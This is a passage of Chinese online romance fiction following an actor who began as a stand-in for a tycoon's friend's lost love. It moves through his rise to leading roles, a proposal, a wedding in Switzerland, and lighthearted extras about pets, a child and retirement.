靳沉沉默片刻,突然从口袋里掏出一张照片递给他:"看看这个。" 照片上是三个年轻人站在大学校门口的合影。中间的宋清羽笑得灿烂,左边是年轻时的靳沉,而右边—— 温凡瞳孔骤缩。 那是个和他长得一模一样的男生,连嘴角上扬的弧度都如出一辙。唯一的区别是那人戴着黑框眼镜,看起来更书卷气一些。 "这是……" "周予安,清羽的大学室友,"靳沉的声音平静得可怕,"也是他真正的初恋。" 温凡的大脑一片空白。 "七年前,予安在登山时遭遇意外,"靳沉继续道,眼神飘向远处,"清羽受了很大刺激,之后每次发病,都会把长得像予安的人认成他。" 温凡的手开始发抖:"所以你找上我……" "一开始是。"靳沉转向他,目光灼灼,"但后来不是了。" 走廊的灯光在靳沉轮廓分明的脸上投下深浅不一的阴影。温凡突然想起那些钢琴课、茶道课,还有靳沉一次次打破自己定下的规矩—— "你知道清羽会把我认成周予安,所以故意让我模仿他?" "不,"靳沉摇头,"予安根本不会弹钢琴,也不懂茶道。那些都是清羽的爱好。" 温凡彻底糊涂了:"那为什么要我学?" "因为我想确认一件事。"靳沉突然靠近,气息拂过他的耳廓,"确认我看到的到底是予安的影子,还是温凡这个人。" 这句话像一记重锤砸在温凡心上。他猛地站起身,椅子在寂静的走廊上发出刺耳的摩擦声。 "你们有钱人是不是都喜欢玩这种游戏?"他声音发抖,"先把我当替身,现在又告诉我连替身都不是,只是个医疗实验品?" 靳沉也跟着站起来,一把扣住他的手腕:"听我说完。" "放开!"温凡挣扎着,"我要去剧组,这场荒唐戏码该结束了!" "《逆光》的男二已经换人了。" 这句话让温凡如坠冰窟。他不可置信地看着靳沉:"你说什么?" "今早刚谈妥,"靳沉松开手,语气平静,"违约金我付了三倍。" 温凡浑身发抖,眼前一阵阵发黑。他以为终于有机会做自己,却连这点奢望都被掐灭。 "凭什么?"他声音嘶哑,"你凭什么替我做决定?" "因为我不想失去你。" 靳沉这句话说得极轻,却像惊雷般炸响在温凡耳边。他愣在原地,怀疑自己听错了。 "清羽的病让我明白一件事,"靳沉向前一步,缩短了两人之间的距离,"生命太脆弱,有些话不说,可能永远没机会了。" 温凡屏住呼吸。 "温凡,"靳沉直视他的眼睛,"我留你,不是因为予安,也不是因为清羽,而是因为你。" 走廊尽头传来医护人员交谈的声音,推车轮子碾过地板的声响,但这些都变得遥远而模糊。温凡的世界里只剩下靳沉深邃的眼睛和那句近乎告白的话语。 "证明给我看。"他听见自己说。 靳沉挑眉:"什么?" "证明你不是把我当替身,"温凡抬头与他对视,"吻我,现在。" 这是一个危险的赌注。如果靳沉犹豫,或者喊出别人的名字,他的心就会彻底碎掉。但如果没有—— 靳沉没有让他等太久。 男人的手掌贴上他的后颈,力道大得几乎令他疼痛。下一秒,温热的唇覆了上来。这个吻不同于上次醉酒后的粗暴,而是带着小心翼翼的珍视,像是在对待什么易碎的宝物。 温凡闭上眼,睫毛微微颤抖。他尝到了咖啡的苦涩和靳沉特有的气息,混合着淡淡的须后水味道。这个吻如此真实,真实到他无法再欺骗自己。 分开时,两人都有些气息不稳。靳沉的拇指擦过他的唇角,声音低沉:"够证明了吗?" 温凡耳根发烫,却还强装镇定:"勉强及格。" 靳沉低笑一声,突然从西装内袋掏出一份文件递给他:"这个给你。" 温凡打开一看,是一份解约协议,末尾已经签好了靳沉的名字。 "从现在开始,你自由了。"靳沉说,"可以接任何你想接的戏,过任何你想过的生活。" 温凡攥紧文件:"那……我们呢?" "这取决于你。"靳沉的目光温柔得不可思议,"我可以追你吗?像正常人谈恋爱那样。" 温凡鼻子一酸。他等这句话等了太久,久到以为永远听不到。 "看你表现,"他别过脸,藏起泛红的眼眶,"我很难追的。" 靳沉笑着揉了揉他的头发:"没关系,我有的是耐心。" --- 三天后,温凡拖着行李箱站在别墅门口。 周管家红着眼眶送他:"常回来看看。" "一定。"温凡抱了抱这个刀子嘴豆腐心的长辈,"帮我跟宋少爷道别。" 宋清羽昨天已经转院去瑞士,临行前状态出奇地清醒。他把那枚袖扣又送给了温凡,还说了句意味深长的话:"沉哥终于学会面对自己的心了。" "温先生。"司机打开车门。 温凡正要上车,身后突然传来急促的脚步声。他回头,看到靳沉大步走来,手里拿着一个牛皮纸袋。 "差点忘了这个。" 温凡好奇地打开,里面是一份剧本和聘用合同——靳氏影业新片《破茧》的男主角邀约。 "这是……" "不是补偿,"靳沉认真道,"制片人看了你《夏日烟火》的片段,认为你很适合这个角色。" 温凡翻开剧本,第一页写着角色简介: 林野,25岁,地下拳击手,为给妹妹治病不惜铤而走险…… 这和《逆光》的男二设定几乎一模一样! "陈明远偷了《破茧》的企划,"靳沉解释道,"《逆光》是山寨版。现在原项目重启,需要真正的男主角。" 温凡眼眶发热:"为什么帮我?" "我说过,"靳沉俯身在他额头上落下一个轻吻,"做你自己就好。" 阳光透过树叶的缝隙洒下来,在两人身上投下斑驳的光影。温凡仰头看着这个曾经高不可攀的男人,突然觉得,或许替身的故事,也能有不一样的结局。 "对了,"上车前,他回头问靳沉,"你当初为什么选中我?" 靳沉嘴角微扬:"因为你演小混混时,眼神倔得像头小兽。" 温凡笑出声:"就这么简单?" "就这么简单。" 车子缓缓驶离别墅,温凡透过后窗看着那个越来越小的身影,胸口满溢着一种陌生的温暖。 他不再是任何人的替身。 他是温凡,即将迎来属于自己的主角时刻。 主角的诞生 《破茧》开机第一天,温凡凌晨四点就醒了。 他盯着酒店天花板,手指无意识地摩挲着剧本边缘——那里已经被翻得卷了边。三个月前,他还是个被困在金丝笼里的替身;而现在,他即将以男主角的身份站在镜头前。 手机屏幕亮起,是靳沉发来的消息:【加油,今晚收工后我去接你】 简简单单的一句话,却让温凡的嘴角不自觉上扬。自从医院那次告白后,靳沉确实像他承诺的那样,开始了"正常人谈恋爱"的追求:每天早安晚安的电话,探班时带的他最爱吃的辣味小食,甚至在他为角色苦恼时,陪他对台词到深夜。 温凡回复了一个猫猫比OK的表情包,翻身下床冲了个澡。水珠顺着发梢滑落时,他忽然想起昨天导演说的话:"林野这个角色有股不服输的劲儿,和你很像。" ——和他很像,而不是和某个不存在的人。 --- 片场一片忙碌。温凡做完造型,站在镜子前打量自己——黑色背心勾勒出这段时间特训出的肌肉线条,脸上特意化了青灰色的憔悴妆,连指甲缝里都涂了污渍。 "温老师,"场记小跑过来,"五分钟后开拍第一场!" 温凡深吸一口气,走向布置成地下拳击场的场景。这场戏是林野第一次打黑拳,为了给妹妹筹医药费。 "Action!" 镜头前,温凡的眼神瞬间变了。他弓着背,像头被逼入绝境的幼兽,每一拳都带着孤注一掷的狠劲。汗水顺着眉骨滑入眼睛,刺痛感让他不自觉地眯起眼——这个意外的反应反而让表演更加真实。 "Cut!完美!"导演兴奋地拍腿,"温凡,状态太好了!" 温凡喘着气直起腰,接过助理递来的毛巾。就在这时,他注意到片场边缘多了个熟悉的身影——靳沉穿着休闲西装,手里拎着个纸袋,正安静地看着他。 不是说晚上才来吗? 温凡刚要过去,导演却喊了准备下一场。他只好冲靳沉眨眨眼,转身投入拍摄。 --- 直到傍晚六点,温凡才结束当天戏份。他匆匆卸了妆,在休息室门口被制片人拦住。 "温凡啊,"制片人笑得意味深长,"靳总在车里等你。" 温凡耳根一热,快步走向停车场。黑色迈巴赫停在角落,车窗降下一半,露出靳沉轮廓分明的侧脸。 他拉开车门钻进去:"不是说晚上才——" 话音未落,就被一个吻堵了回去。靳沉的手掌贴在他后颈,唇舌交缠间带着不容抗拒的温柔。分开时,两人都有些气息不稳。 "提前开完会了,"靳沉拇指擦过他的唇角,"想早点见到你。" 温凡心跳加速,嘴上却还逞强:"靳总,这是职场性骚扰。" 靳沉低笑,从纸袋里拿出一个保温盒:"那用这个赔罪?" 盖子一打开,浓郁的香辣气息扑面而来——是温凡最爱的那家川菜馆的水煮鱼。 "你怎么知道我今天特别想吃这个?"温凡眼睛一亮。 "猜的,"靳沉递过筷子,"昨天视频里你提到三次。" 这种被细心记住的感觉让温凡胸口发烫。他低头扒饭,掩饰自己泛红的耳尖。 "对了,"吃到一半,他突然想起什么,"宋少爷最近怎么样?" 靳沉的表情柔和下来:"瑞士医生发来报告,病情稳定了。他还问起你。" 温凡想起那个苍白优雅的青年,心里一阵酸涩:"他其实早就知道,对吧?知道你喜欢我。" "嗯,"靳沉望向窗外,"他说我看你的眼神,和看予安时不一样。" 车内一时安静下来。温凡戳着米饭,突然问:"如果那天在剧院,宋少爷没有发病,你会怎么做?" 靳沉转过头,目光灼灼:"一样会告诉你我的心意,只是可能会晚一点。" "为什么?" "因为我是个懦夫,"靳沉自嘲地笑了笑,"需要清羽的病当头棒喝,才敢承认自己早就爱上你了。" 这句直白的告白让温凡筷子都拿不稳了。他张了张嘴,却不知道该说什么,最后只憋出一句:"......鱼好吃。" 靳沉大笑,伸手揉了揉他的头发:"吃吧,吃完送你回酒店。" --- 《破茧》拍摄进行了两个月,温凡几乎住在了剧组。让他意外的是,靳沉这个工作狂居然每周都来探班,有时甚至只为了陪他吃个晚饭。 杀青那天,全组开了香槟庆祝。温凡喝得微醺,回到酒店房间时,发现床头放着一个精致的礼盒。 盒子里是一块腕表,表盘背面刻着一行小字: **给最耀眼的主角——C** 温凡摩挲着那行字,眼眶发热。他曾经是别人的影子,而现在,有人看到了他本身的光芒。 手机震动,靳沉发来一条语音:"阳台。" 温凡疑惑地拉开窗帘,推开阳台门——隔壁阳台的靳沉正倚在栏杆上,手里举着两杯红酒。两间房的阳台相距不过一米,轻轻一跃就能过去。 "杀青快乐,"靳沉递过酒杯,"大明星。" 夜风拂过,带着初夏特有的清爽。温凡抿了口酒,突然说:"我想试试。" "试什么?" 温凡没回答,而是后退几步,一个助跑直接跳到了靳沉的阳台。他落地不稳,被靳沉一把搂住腰,两人撞在一起,酒洒了大半。 "疯了?"靳沉皱眉,"摔下去怎么办?" 温凡仰头看他,眼睛亮晶晶的:"你会接住我的。" 这句话像打开了某个开关。靳沉猛地低头吻住他,比以往任何一次都要热烈。温凡被抵在阳台栏杆上,后背贴着冰凉的金属,身前却是靳沉滚烫的体温。 "回房间......"他在换气的间隙喘息。 靳沉一把将他打横抱起,用脚踢开落地窗。温凡在陷入柔软床垫的瞬间,突然想起一个问题:"等等,你怎么订到我隔壁房间的?" "整个酒店都是靳氏的,"靳沉解开他的衬衫纽扣,声音沙哑,"我为你准备了两个月。" 温凡还想说什么,但所有话语都被接下来的吻吞没了。 --- 三个月后,金梧桐奖颁奖典礼。 温凡凭借《破茧》获得最佳新人奖提名。他穿着靳沉特意请设计师定制的高定西装,走过长长的红毯,闪光灯晃得他睁不开眼。 "紧张?"入座后,身旁的靳沉低声问。 温凡点点头,手指无意识地绞着袖口。靳沉悄悄握住他的手,十指相扣:"无论结果如何,你都是我心中的最佳男主角。" 颁奖嘉宾拆开信封:"获得最佳新人奖的是——《破茧》温凡!" 掌声如雷。温凡愣在原地,直到靳沉轻轻推了他一下才回过神。他走上舞台,接过沉甸甸的奖杯,灯光刺得他眼眶发热。 "谢谢《破茧》剧组,谢谢所有支持这部电影的人,"他顿了顿,目光落在第一排的靳沉身上,"最后,特别感谢那个让我有机会做自己的人。" 台下响起善意的笑声和掌声。靳沉坐在人群中,眼神温柔而骄傲。 回到座位后,温凡把奖杯塞到靳沉手里:"送你。" "嗯?" "没有你,就没有今天的我,"温凡凑到他耳边,轻声说,"这个奖杯有一半是你的。" 靳沉眸色一深,在镜头拍不到的角落,迅速在他唇上偷了个吻:"不,温凡,这都是你自己的光芒。" 晚宴上,温凡被各路制片人和导演围住,收到了无数新戏邀约。靳沉站在不远处,看着他游刃有余地应对,嘴角不自觉上扬。 "靳总,"一个熟悉的声音从身后传来,"恭喜。" 靳沉转身,看到陈明远举着香槟站在那,表情复杂。 "听说您和温凡在一起了?" "嗯。"靳沉懒得与他多话。 陈明远苦笑:"早知道当初不该挖他演《逆光》的。" "不,"靳沉看向人群中心那个笑容灿烂的青年,"我应该感谢你。" 如果不是陈明远的那份合约,他或许永远不会意识到温凡对他有多重要。 --- 颁奖礼后,靳沉带温凡去了一个地方——大学城附近的小影院。 "来这里干嘛?"温凡好奇地问。 靳沉买了票,牵着他走进放映厅。让温凡惊讶的是,整个厅里只有他们两个人。 银幕亮起,放的居然是《夏日烟火》——温凡出道演的那个只有五分钟台词的小配角。 当他的脸出现在大银幕上时,温凡捂着脸哀嚎:"太羞耻了!我那时候演技好烂!" 靳沉却看得很认真:"不,那时候我就注意到了你。" "就这个小混混角色?" "嗯,"靳沉握住他的手,"你演出了角色的灵魂,而不只是表面。" 电影放完后,放映厅的灯亮起来。靳沉突然单膝跪地,从口袋里掏出一个小盒子。 温凡瞪大眼:"等等,这进度是不是太快——" "不是求婚,"靳沉笑着打开盒子,里面是一把钥匙,"搬来和我一起住吧。" 温凡接过钥匙,突然想起一年前自己站在别墅门口的样子。那时的他以为,自己永远只能活在别人的影子里。 而现在,他拥有了属于自己的光。 "好啊,"他拉起靳沉,在空荡荡的放映厅里主动吻上对方的唇,"不过我要更大的衣帽间。" 靳沉低笑:"整个家都是你的。" [正文完] 57. 最佳男主角的求婚 《边界》杀青宴上,温凡喝得有点多。 这部国际合拍片拍摄了整整五个月,横跨三个国家,期间靳沉探班七次,最长的一次陪他在冰岛待了两周,被剧组戏称为"最敬业的家属"。 "温,接下来有什么计划?"导演举着香槟问他。 温凡脸颊微红,眼神不自觉地飘向宴会厅角落——靳沉正和制片人交谈,一身黑色高定西装衬得肩宽腿长,在人群中格外醒目。 "先休息一个月,"他笑着回答,"然后可能接一部文艺片。" "不考虑商业片?你现在的票房号召力很强。" 温凡正要回答,手机突然震动。是靳沉发来的消息:【露台,现在】 简短得像道命令。 温凡向导演致歉,悄悄溜出宴会厅。五星级酒店的空中露台空无一人,夜风微凉,远处城市灯火如星河倾泻。 "靳总,你这种召唤方式很像在叫小狗——" 转身的瞬间,他愣住了。 靳沉单膝跪地,手中打开的丝绒盒里,嵌着一枚铂金素圈戒指,在月光下泛着柔和的光泽。 温凡的酒瞬间醒了。 "你……" "温凡,"靳沉的声音比平时低沉,带着一丝几不可察的紧张,"我们结婚吧。" 没有华丽的告白,没有冗长的铺垫,就像他这个人一样直接而笃定。 温凡张了张嘴,突然发现自己的手在发抖。他见过靳沉在谈判桌上运筹帷幄的样子,见过他在董事会不怒自威的样子,却从未见过他像现在这样——单膝跪地,仰头看他,眼神专注得仿佛全世界只剩下他们两个人。 "戒指太素了吧?"他听见自己说,声音发颤,"不符合靳总的身价啊。" 靳沉唇角微扬:"内侧刻了字。" 温凡接过戒指,对着灯光仔细看——内圈刻着一行小字:**To my leading man**(致我的男主角) 眼泪突然就涌了上来。从替身到男主角,这条路他走了太久。 "什么时候准备的?"他吸了吸鼻子。 "半年前,"靳沉站起身,轻轻擦去他眼角的湿意,"等一个合适的时机。" "如果今晚我没得奖呢?"温凡故意问——三小时前,他刚凭借《边界》拿到亚洲电影大奖最佳男主角。 靳沉低笑:"那就下次。" "下次再没得呢?" "那就下下次。"靳沉将他拉进怀里,额头相抵,"反正这辈子你跑不掉了。" 温凡把脸埋在他肩窝,嗅着熟悉的雪松香气:"靳沉,你知道我为什么接《边界》吗?" "嗯?" "因为角色是个语言学家,"他抬起头,眼睛亮晶晶的,"我想学瑞士的官方语言之一。" 靳沉呼吸一滞。瑞士是宋清羽治疗的地方,他们每年都要去探望两次。 "德语很难学。" "没关系,"温凡把戒指套在自己无名指上,尺寸刚好,"家属可以当免费老师。" 靳沉眸色一深,低头吻住他。这个吻温柔而绵长,带着承诺的重量。远处突然传来烟花声,夜空绽开璀璨的光芒——不知是哪对新人正在庆祝。 分开时,温凡突然想起什么:"等等,你刚才是不是没问我''愿意吗''?" 靳沉挑眉:"你需要被问?" "仪式感很重要好吗!" "好吧,"靳沉故作严肃地再次单膝跪地,"温凡先生,你愿意——" "愿意愿意!"温凡迫不及待地把他拉起来,"赶紧的,回宴会厅炫耀去!" 靳沉大笑,任由他拽着自己奔跑。走廊的灯光将两人的影子拉得很长,交织在一起,再不分彼此。 --- 彩蛋 1. 次日,#靳氏总裁求婚温凡#、#金梧桐影帝订婚#等话题霸占热搜,网友扒出两人从替身合约到修成正果的全过程,直呼"小说照进现实"。 2. 宋清羽寄来一幅水彩画,画面是教堂前拥吻的两个剪影,附言:"婚礼场地已预定,记得给我留主桌。" 3. 婚后某天,温凡偶然发现靳沉的保险柜里锁着《破茧》所有废弃镜头素材——全是他的N□□段。靳总对此的解释是:"独家收藏。" 婚礼进行时 温凡盯着镜子里的自己,手指不自觉地拽了拽领结。 "别扯了,再扯又要重新系。"林小川拍开他的手,转头对化妆师说,"眼线再加深一点,这小子眼睛本来就大,镜头前容易显肿。" "我紧张。"温凡老实承认。 化妆间里爆发出一阵笑声。造型师、化妆师、经纪人,甚至来送花的场务小姐姐都笑得前仰后合。 "温老师,您拍戏时对着三百个群演都不紧张,结个婚慌什么?" 温凡张了张嘴,没说出话来。他总不能说,他昨晚梦见自己在婚礼上把戒指掉进了香槟塔,然后靳沉当场宣布取消婚约吧? 手机震动,是靳沉发来的消息:【准备好了吗?】 简单五个字,温凡却能想象出对方发这条消息时的表情——眉头微蹙,唇角绷直,一副公事公办的样子,实际上耳根可能已经红了。 他回复:【如果我说没准备好呢?】 对方秒回:【那也晚了】 紧接着又发来一张照片——教堂第一排座位上,宋清羽穿着浅灰色西装,正笑着和身旁的外国医生交谈。他看起来气色很好,完全看不出病容。 温凡眼眶一热。三个月前医生宣布宋清羽病情稳定,可以短期回国时,靳沉连夜修改了婚礼日期。 "快快快,时间到了!"林小川突然大喊,"新郎该入场了!" --- 瑞士小教堂的管风琴声庄严悠扬。 温凡站在红毯尽头,看着靳沉一身纯黑西装站在圣坛前,阳光透过彩绘玻璃在他身上投下斑斓的光影。 这一步迈出去,就是一辈子了。 他深吸一口气,正要抬脚,音乐却突然停了。全场一片寂静,所有人都疑惑地看向管风琴师。 "技术故障,"琴师尴尬地用法语解释,"请稍等。" 温凡僵在原地,突然想起那个噩梦——不会真这么倒霉吧? 就在这时,一阵清亮的钢琴声响起。温凡猛地转头,看到宋清羽不知何时坐到了角落的钢琴前,修长的手指在琴键上跳跃。 是《夜曲》。 靳沉最喜欢的曲子。 宋清羽冲他眨眨眼,指尖下的旋律温柔流淌。温凡鼻子一酸,突然有了勇气。他迈开步子,在琴声中走向那个等他的人。 靳沉的眼神从钢琴转向他,眉目间的冰雪瞬间消融。温凡走到他面前时,发现对方的手居然也在微微发抖。 "靳总也会紧张?"他小声调侃。 靳沉握住他的手,十指相扣:"闭嘴。" 神父开始念誓词,温凡却一个字都没听进去。他的注意力全在两人交握的手上——靳沉的掌心有一层薄汗,温度比平时高,脉搏快得惊人。 "温凡先生,"神父的声音将他拉回现实,"你是否愿意……" "我愿意。"他抢答。 教堂里响起善意的笑声。靳沉无奈地看他一眼,却在神父问出同样问题时,回答得比他还快:"我愿意。" 交换戒指的环节,温凡死死盯着靳沉的手指,生怕噩梦成真。当戒指顺利套入对方无名指时,他长舒一口气,引得靳沉挑眉:"怎么了?" "昨晚梦到我把戒指掉香槟塔里了。"他老实交代。 靳沉低笑,在神父宣布"你可以亲吻新郎"的瞬间,一把将他拉进怀里。这个吻比以往任何一次都要热烈,温凡能感觉到对方压抑已久的情感终于决堤。 掌声和欢呼声中,他隐约听到宋清羽笑着用法语说:"总算嫁出去了。" --- 婚宴设在教堂后的花园里。温凡换了身白色休闲西装,正被各路宾客拉着合影。靳沉则被商业伙伴围住,举着香槟应付各种祝福。 "新婚快乐。" 温凡转身,看到宋清羽举着果汁向他致意。阳光下的青年苍白清瘦,但眼神清明,早已不见当年的病态。 "谢谢你的钢琴,"温凡真诚地说,"还有,谢谢你当初那句话。" ——你不是替身,从来都不是。 宋清羽了然一笑:"其实我第一次见你就知道了。" "知道什么?" "沉哥看你的眼神,"宋清羽抿了口果汁,"和看我跟予安时完全不一样。" 温凡耳根发热,正想说什么,突然被一阵骚动打断。 "快看热搜!"林小川举着手机冲过来,"你们俩结婚的消息爆了!" 温凡接过手机,只见热搜前三全是: #靳沉温凡瑞士结婚# #豪门替身文学照进现实# #请以你的名字呼唤我原型# 点开最后一条,居然是他和靳沉从初遇到结婚的完整时间线,被网友整理得清清楚楚,还配上了各种偷拍照和路透图。最离谱的是,有人扒出了当年那份替身合约的部分条款,评论区一片尖叫。 【救命!从替身到正宫,这是什么晋江剧情!】 【温凡拿的才是真正的大男主剧本吧】 【靳总看温凡的眼神啊啊啊我死了】 "这都什么跟什么……"温凡哭笑不得。 靳沉不知何时来到他身后,下巴抵在他肩上:"在看什么?" 温凡把手机给他看:"我们成网红CP了。" 靳沉扫了一眼,皱眉:"这张照片谁拍的?角度太差。" 他指的是某张两人在片场对视的偷拍,温凡正仰头大笑,靳沉则垂眸看他,眼神温柔。 "我觉得挺好,"温凡存下图片,"设成手机壁纸了。" 靳沉轻哼一声,突然从口袋里掏出另一枚戒指——和婚礼对戒不同,这枚镶嵌着一圈碎钻,在阳光下闪闪发光。 "婚戒太素,"他拉过温凡的手戴上,"换个显眼的。" 温凡看着手指上突然多出的钻戒,突然想起什么:"等等,你是不是早就计划好了?先拿素戒求婚,等结婚再送个贵的?" 靳沉不置可否,只是低头在他耳边轻声道:"今晚还有更贵的。" 温凡瞬间从耳朵红到脖子。 --- 夜幕降临,宾客散去。 温凡瘫在新婚套房的大床上,累得手指都不想动。靳沉坐在床边,正帮他按摩酸痛的脚踝。 "靳总手法不错,"他眯着眼享受,"专门学过?" "嗯,"靳沉面不改色,"婚庆套餐包含新郎按摩服务。" 温凡笑出声,随即想起什么:"对了,网友都在猜我们的蜜月去哪。" "希腊。" "真的?"温凡一骨碌坐起来,"什么时候出发?" "明天下午。"靳沉继续揉他的脚踝,"有个小岛很适合潜水。" 温凡眼睛一亮:"你会潜水?" "不会,"靳沉抬眸看他,"但听说□□在《边界》里潜得不错,可以当我的私人教练。" 温凡扑上去亲他一口:"学费很贵的。" 靳沉顺势将他压进柔软的被褥:"用一辈子付,够不够?" 窗外,瑞士的星空璀璨如钻。温凡仰头吻住他的新郎,心想这大概就是最好的结局——从替身到主角,从戏里到戏外,他终于找到了属于自己的位置。 彩蛋 1. 婚礼照片流出后,#温凡钻戒#登上热搜,网友扒出是某奢侈品牌百年孤品,价值堪比一套别墅。 2. 希腊小岛上,温凡教靳沉潜水的视频被游客偷拍,靳总笨拙的泳姿与平日精英形象反差巨大,萌翻全网。 3. 回国后,温凡在靳沉书房发现一个锁着的抽屉,里面整齐存放着他们从相识至今的所有票据——电影票根、机票、甚至超市小票。 家有萌宠 温凡蹲在宠物店的玻璃柜前,眼睛亮得像星星。 "靳沉!你看这只!"他指着里面一只圆滚滚的布偶猫,"它朝我wink了!" 靳沉站在两米外,西装笔挺得像是来开董事会的,眉头微蹙:"你确定要养猫?" "确定一定以及肯定!"温凡转头对店员说,"就这只了,谢谢。" 靳沉看着自家爱人兴高采烈的背影,默默掏出信用卡。他其实对猫毛过敏,但温凡自从拍完那部与猫有关的文艺片后,就天天念叨着想养一只。 --- 布偶猫取名"总裁",因为温凡说它高冷的样子像极了某人。 总裁到家第一天,就把靳沉价值六位数的真丝领带抓成了流苏。温凡笑得直不起腰,而靳沉黑着脸给助理发消息:【明天会议换条领带】 过敏症状比预想中严重。靳沉连续打了一周喷嚏,眼睛红得像兔子,却死活不肯承认是因为猫。 "你是不是过敏啊?"温凡抱着猫凑近观察。 靳沉后退三步:"空调太脏。" "哦——"温凡拖长音调,突然把猫往他怀里一塞,"那抱抱看?" 五分钟后,靳沉全身起满红疹,被紧急送往医院。医生严肃警告:"再接触过敏原可能会引发哮喘。" 回家的路上,温凡内疚得像个做错事的孩子:"对不起,我不知道你这么严重......明天我就把总裁送——" "不用。"靳沉打断他,声音还带着鼻音,"我搬去客房住。" 温凡愣住:"啊?" "你喜欢就养着,"靳沉目视前方,"别碰我就行。" --- 分居生活持续了三天,温凡就受不了了。 第一天,总裁独占大床,把他挤到床边; 第二天,总裁打翻了他的水杯,毁了他写了半个月的剧本笔记; 第三天,总裁在他最爱的衬衫上尿了一泡。 "靳沉——"深夜十一点,温凡抱着枕头敲响客房的门,"我错了,我们把猫送走吧。" 门开了,靳沉穿着睡袍,胸口还泛着未消的红疹。他看了眼温凡怀里的枕头,挑眉:"猫呢?" "关阳台了,"温凡可怜巴巴,"它欺负我。" 靳沉嘴角微扬,侧身让他进屋:"进来吧。" 温凡欢呼一声扑上床,却在接触到枕头的瞬间打了个喷嚏——上面全是靳沉的味道,混合着淡淡的药膏气息。 "想我了?"靳沉关灯上床,从背后搂住他。 温凡转身埋进他怀里,闷闷地"嗯"了一声。分开才三天,他却觉得像过了三个月。 "明天我联系朋友收养,"靳沉亲了亲他发顶,"条件是你要赔我十条领带。" "一百条都行!"温凡抬头亲他,却被躲开。 "我还在过敏。" "不管,"温凡耍赖地凑上去,"亲一下又不会死。" 靳沉无奈,低头给了他一个轻吻。这个吻很快加深,就在气氛逐渐升温时—— "喵!" 两人同时转头,总裁不知何时溜了进来,正蹲在床头柜上,歪头看着他们。 温凡:"......" 靳沉:"......" 最终,总裁被温凡的经纪人收养,条件是每周可以视频两次。送走猫的那天,温凡哭得像个送孩子上大学的家长,而靳沉在一旁默默下单了十台空气净化器。 --- 三个月后,温凡在剧组拍戏时收到靳沉发来的照片——一只圆滚滚的柯基幼犬,吐着舌头一脸傻笑。 【新成员,不过敏】 温凡一个电话打过去:"你买狗了?!" "嗯,"靳沉的声音带着笑意,"取名叫''影帝''。" 温凡:"......" 这报复心也太强了吧! 彩蛋 1. 影帝和总裁第一次见面就打得不可开交,但很快成为好朋友,经常合伙偷吃靳沉的限量版皮鞋。 2. 温凡发现靳沉手机里存满了影帝的照片,甚至专门建了个相册,起名《我家傻狗》。 3. 某期宠物综艺邀请"总裁影帝"CP出镜,两只萌宠一夜爆红,粉丝数碾压不少十八线艺人。 家有萌娃 温凡盯着验孕棒上的两道杠,大脑一片空白。 "这......这不可能啊?"他转头看向身旁同样石化的靳沉,"我们俩都是男的啊!" 靳沉眉头紧锁,拿起说明书又看了一遍:"是不是过期了?" "这是昨天刚买的!" 两人面面相觑,空气凝固了足足一分钟。温凡突然想起什么,抓起手机拨通了林小川的电话:"你上周给我喝的那杯''特调饮料''到底是什么?!" 电话那头传来心虚的干笑:"啊哈哈......就是加了点代孕机构广告的维生素水......" 温凡:"......" 靳沉直接拿过手机:"地址发来,现在。" --- 代孕机构装修得像五星级酒店,接待员笑容甜美:"靳先生,温先生,恭喜二位!我们采用的是最先进的基因融合技术,将两位的精子结合后植入代孕母体......" 温凡听得云里雾里,只抓住一个重点:"所以这孩子真是我们俩的?" "是的呢!"接待员调出一份报告,"基因检测显示,宝宝继承了靳先生的眼睛和温先生的酒窝......" 温凡盯着屏幕上的3D模拟图——一个粉雕玉琢的小娃娃,确实有靳沉那双标志性的凤眼,和自己招牌的小酒窝。 "等等,"靳沉突然发现盲点,"为什么现在才通知我们?" 接待员笑容僵住:"这个......林先生说想给二位一个惊喜......" 靳沉冷笑:"他人呢?" "跑......跑了......" --- 六个月后,温凡抱着刚出生的小团子,手指被紧紧攥住。 "她好小......"他声音发颤,生怕用力一点就会碰碎这个脆弱的小生命。 靳沉站在一旁,姿势僵硬得像在拆炸弹,连呼吸都放轻了:"头发像你。" 护士忍俊不禁:"靳总,您可以抱抱宝宝。" 靳沉如临大敌地接过女儿,动作标准得像在捧传国玉玺。小丫头撇撇嘴,"哇"地一声哭出来。 "她不喜欢我。"靳沉表情受伤。 温凡大笑:"是你太紧张了,放松点......哎哎哎别松手!" --- 带娃的日子鸡飞狗跳。 靳总在董事会上被拍到西装口袋露出半截奶嘴;温凡在片场背台词时突然跳起来:"完了!出门前好像没关奶粉罐!" 最崩溃的是夜奶时间。凌晨三点,温凡顶着黑眼圈推醒靳沉:"该你了......" 靳沉闭着眼睛坐起来,梦游般去冲奶粉,结果把盐当成了糖。小公主喝了一口,哭得整栋别墅都在震。 "靳沉!!!" --- 女儿周岁宴上,各路名流齐聚。小寿星穿着定制公主裙,坐在特制蛋糕前,大眼睛好奇地东张西望。 "抓周抓周!"宾客们起哄。 温凡把女儿放到铺满物品的毯子上。小丫头爬来爬去,最后一手抓住温凡的影帝奖杯,一手攥住靳沉的钢笔。 "哇!这是要当大明星啊!" "明明是商业奇才!" 靳沉搂住温凡的肩:"都行,开心就好。" 温凡靠在他怀里,看着女儿咯咯笑着把奖杯往嘴里塞,突然觉得——盐罐当奶粉算什么,这辈子值了。 彩蛋 1. 小公主三岁时在幼儿园打哭五个小男孩,理由是"他们说我不能有两个爸爸"。 2. 靳沉手机屏保从温凡变成了女儿,被温凡发现后连夜写了三千字检讨。 3. 宋清羽成为小公主的钢琴老师,每次上课都带着瑞士巧克力,成功收买小徒弟的心。 [番外四·完] 最佳男主角的退休生活 温凡六十岁那年,宣布息影。 记者会上,闪光灯亮如白昼。他穿着简单的白衬衫,眼角已有细纹,但笑起来时,酒窝依然能让全场粉丝尖叫。 "为什么选择现在退休?"记者问。 温凡看向台下第一排——靳沉坐在那里,两鬓微白,西装笔挺如初,只是手里多了根拐杖。三年前那场车祸给他的右腿留下了永久性损伤。 "因为有人答应带我去看极光,"温凡眨眨眼,"等了三十年,再不去就来不及了。" 全场大笑,靳沉在台下无奈摇头,眼神却温柔得不像话。 --- 挪威特罗姆瑟的小木屋里,温凡正手忙脚乱地煮咖啡。 "别放糖,"靳沉提醒,"医生说我血糖高。" "知道啦,"温凡撇嘴,"给你准备了代糖。" 窗外极光摇曳,绿丝绸般铺满天际。靳沉拄着拐杖走到窗前,突然皱眉:"温凡。" "嗯?" "你把我降压药放哪了?" 温凡手一抖,咖啡洒了一半:"......好像忘在机场了。" 靳沉扶额:"三十年前你就这样,现在还是。" 